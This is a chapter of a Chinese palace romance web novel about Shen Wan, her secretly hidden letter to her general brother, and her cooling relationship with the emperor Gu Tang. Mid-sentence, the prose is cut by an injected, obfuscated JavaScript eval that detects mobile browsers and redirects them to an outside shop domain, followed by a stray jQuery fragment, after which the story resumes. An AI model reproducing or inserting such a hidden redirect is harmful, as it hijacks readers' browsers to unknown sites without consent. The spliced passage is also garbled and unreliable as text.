19. 生硬
    春月她们离开后沉婉又眯了会才起来。

    用过早膳,沉婉开始给沉朔写信。

    窗外阳光明媚,鸟儿在树梢上无忧无虑地啼叫,沉婉却终于懂了哥哥在二皇子向先帝求了赐婚的旨意后开心的心情。

    ……

    “哥哥以后不用担心咱们小婉的终身大事了!”

    “哥哥为小婉找了一桩不能再好的婚事!”

    她不明白哥哥为何那般开心,不就是嫁给二皇子做他的妻子吗,哥哥为二皇子效力,这是二皇子拉拢哥哥的法子,不过她也不排斥嫁给他。

    哥哥一个人不容易,若是她嫁给了二皇子,他们俩结合得更深,对谁都没有坏处,她自然愿意听哥哥的。

    而且二哥对她一向也是和颜悦色,更别提什么管教了,她细想之下也是觉得不错。

    那个时候沉婉对做未来的皇后兴致不大,但是哥哥一直强调这样就永远都不会有人欺负她了。

    “咱们小婉会是这世间最尊贵的女人!”

    “小婉只管做自己,万事有哥哥在。”

    她一向是自由自在,在二哥的后院她也肯定不能再自在了,还能时不时地回家看看哥哥。

    那个时候哥哥眼角眉梢畅快的笑意依然停留在沉婉的心头,她等着笔墨干了才将信放入信封中。

    二哥不在了,哥哥虽然还是那般厉害,可她不用想都知道哥哥一个人在外头到底不如从前二哥在的时候舒服。

    旋即,沉婉又拆掉信封,吩咐春兰将要寄给哥哥的靴子拿过来。

    “缝进去,隐秘些……”

    “是。”

    沉婉垂眸看着香兰她们的动作,若是哥哥不赞成的话,她就跟肉团子见面,也行。

    香兰动作一向利落,很快就弄好了,她将靴子收进包袱里:“奴婢这就出去将东西寄给将军。”

    “嗯。”沉婉点点头。

    香兰抱着包袱出去了。

    阳光真是好。

    ……

    沉婉看了眼窗外,又吩咐春月:“收拾一下,也该出去走走了。”

    春月正在整理针线,闻言眼中一亮,她原以为主子今日的心情也不会好,她合上匣子:“奴婢这就去收拾东西。”

    沉婉抽出案几上一枝有些枯萎的牡丹,抚摸着它些微发黄的花瓣:“带上几个剪子,回头我也去花园里剪几朵回来摆着。”

    “奴婢这就带上。”小春忙将案几上的笔墨纸砚收了起来,开始梳理出门需要用的东西,嘴上还不忘夸沉婉,“主子亲自挑的,肯定比我们选的好。”

    这么多天以来,主子难得地第一次想出门透透气,不提春月心中的激动,望音阁上上下下也都激动起来了。

    一众人忙忙碌碌的仿佛是要出宫。

    收拾得差不多了文鸳才想起来忘记问娘娘午膳还回不回来用了。

    云珠一边让大家加快点动作,一边才转头看她:“娘娘逛的心情好的话,咱们到时候就寻个僻静阴凉的地方伺候她用午膳,也不用急着赶回来。”

    “这个我当然知道,只是娘娘要不要派人去皇上那说一声。”这些天李怀恩一直到这边来请娘娘去用膳,如果今天过来后扑了个空……

    云珠已经明白了文鸳的意思,她的神色一顿:“也是。”

    可都不想这个时候进去提醒沉婉。

    不等她们提起沉婉就让小李去一趟重华殿。

    “替我跟皇上说一声,原本今日的午膳是要去重华殿陪皇上用的,可我若是在园子里逛晚了可能也就不回来了。”

    “让皇上不必等我……我明日去重华殿给他赔礼。”

    顾樘听到小李说沉婉准备去逛园子的时候,笑意还没在他的脸上维持一息就落了下去。

    小李他跪在地上,低着头不敢抬头看皇上,只觉得心里忐忑得很,往日里娘娘“撂下”皇上去外头玩乐也不是没有。可他今日就是怕的很。

    须臾过后,顾樘开口了。

    “你们娘娘可说了在哪里用膳?”

    “未曾……”

    “回皇上,我们娘娘还没出门,还未定下。”小李思索了下,“娘娘今儿也是突发兴起的。”

    ……

    “知道了,你下去吧。”

    小李很快就退了出去。

    李怀恩拿着茶壶给顾樘沏茶,殿内只有倒水声。

    不一会,茶也倒好了,李怀恩觑了一眼顾樘的脸色,斟酌了一番开口道:“皇上,不若奴才去望音阁问一问……”

    “不用了。”

    顾樘翻开了折子。

    ——

    或许是有意,亦或是无意。

    沉婉放纵着自己,在外面一直歇到了黄昏,等被香兰问到晚膳是否依旧在外面用的时候她才意识到该回去了。

    黄昏下的荷花格外美丽,沉婉望着湖面,还是外头好,在这里躺上一天仿佛什么都不用去想,什么愁绪都没有了。

    “奴婢去传膳?”

    香兰看到主子眼里的不舍,直接道。

    沉婉没再说什么,只是让大家收拾收拾回去。

    没多久,一行人就在夕阳的余晖中开始往回走。

    日夜的交替,往往是一天之中最美的时候,天地间都被染上了色。

    晚间顾樘过来的时候沉婉正在榻上在喝香兰新研制的饮子。

    顾樘走进东次间,他看着屋子里新换上的花:“剪了不少花回来?”

    “嗯。”

    沉婉看着他走过来,耳边却响起他那句“也不小了……”

    沉婉只“嗯”了一声就移开了目光,她抿了一口饮子。

    顾樘本以为她玩到傍晚才回宫心情应该不错,至少不是现在这幅神思不属的样子。

    他坐到案几的另一侧,端起案几上的茶盏。

    “今日玩的不开心?”

    “开心。”

    “开心就好。”

    顾樘低头抿了口茶。

    无人说话。

    须臾,沉婉抬头的瞬间看见顾樘的目光落在瓶子里的海棠上,她刚想说园子里的花开得不错,却又想起了映月楼。

    嘴边的话转了个弯,沉婉开口道:“临水阁的荷花黄昏时最美了,皇上改日有空也可以去那里赏荷花。”

    “好。”

    站在落地罩处的李怀恩听到沉婉的话却在心里叹了一句皇上是不知道黄昏时候适合赏荷吗?可沉昭仪就是不开口邀请皇上一起去,中午也是,在外头用膳就不能喊皇上一起去吗?

    他想着这几天皇上天天吩咐自己往望音阁这边跑,有时候恨不得他一天来三趟。他原以为过去了一段时间——沉昭仪的气该消了的。

    哎,李怀恩又在心里叹了口气,沉主子的气性着实不小。

    过了一会,两个人又聊了一些闲话。

    然而,一搭与一搭之间总是生硬的很。

    半晌,顾樘

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13574948|143014||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    终于道了句“洗漱吧”。

    沉婉顺从地“嗯”了一声。

    夜风浮动,纱帐轻晃,然而却是一夜无言。

    月落日升,沉婉再醒来时,已是翌日早上。

    早膳过后,风透过支摘窗吹进殿内,微风宜人,帷幔轻鼓,沉婉照旧捧着书,在窗边待了一个上午。

    ——

    艳阳高照,乾清宫中央的香炉缭绕生雾,殿内一如既往的安静。

    只有等了沉婉一个上午的李怀恩不时地瞅一眼窗外的太阳,在心里默默地着急。

    案几上摆着沉婉素日里爱用的糕点和果子。

    李怀恩走到窗边,将帘子拉下来一半,在心里叹了口气,沉昭仪这是睡过头了还是……忘了?

    又或者是记得却不想过来?

    李怀恩摩挲着拂尘手柄,他倒是想去望音阁请她,只是这昨儿刚说的“赔礼”的话,他今儿去了岂不是打皇上的脸,没看见皇上一上午连茶都没喝几口吗?

    已是晌午了,顾樘合上了折子。

    他端起一旁的茶盏,抿了一口。

    “流言可肃清了?”

    流言?

    李怀恩忙踩着碎步走回御案边上:“回皇上,早已肃清了。”

    肃清了就好。

    “传膳吧。”

    哎?“哎,奴才这就去。”

    顾樘放下了茶盏。

    也非日日要去的。

    这日沉婉没有去重华殿,顾樘也没再派李怀恩过来。

    午后,沉婉躺在榻上午睡,窗边的帘子被缓缓拉了下来,沉婉在闭上眼之前想起那天晚上映月楼上他头也不回的背影——心里却觉得这才是正常的。

    早晚会有结束的一天的。

    难不成她要提着灯去说不要选秀,沉婉阖上了眼,简直是痴人说梦。

    她很清楚,只是没那么快放下。

    没那么快放下,她也在放下。

    这天过后,李怀恩终于不再天天往望音阁跑。

    顾樘晚间照旧过来,只是过来的次数较从前少了许多。

    或许是近日朝堂上的事情太多了些,又或许……他们在彼此的心知肚明里,各退了一步,终于回到了该有的位置上。

    这次,行宫里没有再起流言。

    而望音阁终于彻底恢复了往日的平静。

    千里之外的沉朔也收到了沉婉的信。

    望音阁恢复了平静,而远在千里之外西北的沉朔也终于收到了沉婉的信。

    傍晚的夕阳的余晖笼罩着将军府。

    顾樘要选秀的消息沉朔在沉婉上一次来信的时候就已经知道了,不过那个时候沉婉并未在信中提及,他早已猜到她是被顾樘隐瞒了。

    如今……

    书房里,沉朔看着婢女秋月从靴子里拆出来的第二封信。

    “还学会了藏信……藏得这般隐蔽,谨慎了不少。”

    沉朔手里捏着信,他的面上却无半分喜色,以往哪次的信不是大大咧咧放在外面的,如今却学会了一封在明一封在暗。

    短短不到半个月的时间。

    站在书桌旁的秋月看着沉朔迟迟不拆信封,担忧道:“将军,可是小姐在宫里的处境不妙?”

    沉朔的谋士秦书白断然摇头道:“不会的。皇上只是选秀,小姐眼下的处境哪里就一下子不妙了。”

    “一下子?”秋月睁大了眼,“那就是说以后还是会不妙的?”